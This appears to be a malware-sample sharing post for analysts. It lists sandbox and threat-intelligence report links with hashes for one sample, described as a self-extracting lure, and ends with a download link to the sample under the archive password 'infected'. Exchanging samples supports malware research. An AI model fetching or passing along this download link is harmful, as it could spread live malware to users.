https://sandbox.ti.qianxin.com/sandbox/page/detail?type=file&id=AaGS1nrJmTITNisAbXbo
https://sandbox.dbappsecurity.com.cn/report/2066936d-5d91-420c-b972-957e456c777e/flat
https://fenxi.antiy.cn/#/entirety/file/searchResult?hash=2c7ea70d4b95c471cf355bf5d37a67f3
https://virus.cverc.org.cn/#/entirety/file/searchResult?hash=2c7ea70d4b95c471cf355bf5d37a67f3
https://metadefender.com/results/file/bzI2MTAzMVBoQlgyRWNZeElhbjBQQnFzdllp_mdaas/overview
https://www.virscan.org/report/0832df167733c833d871fcbc10a58f82dd757504153105b60b18013aefc441f0
https://www.virustotal.com/gui/file/0832df167733c833d871fcbc10a58f82dd757504153105b60b18013aefc441f0
https://s.threatbook.com/report/file/0832df167733c833d871fcbc10a58f82dd757504153105b60b18013aefc441f0
https://sandbox.qianxin.com/tq/report/toNewReport.do?rid=558dd0e9021f3893bb19414b18a3f95d&sk=68130197
https://opentip.kaspersky.com/0832DF167733C833D871FCBC10A58F82DD757504153105B60B18013AEFC441F0/results?tab=upload
https://ti.sangfor.com.cn/sandbox-report/MmM3ZWE3MGQ0Yjk1YzQ3MWNmMzU1YmY1ZDM3YTY3ZjM=?system_type=win10_64&sandboxType=c
样本(自解诱导)
提取码:无,解压码:infected- http://4275.com/fcw3of?unzip=infected
复制代码 |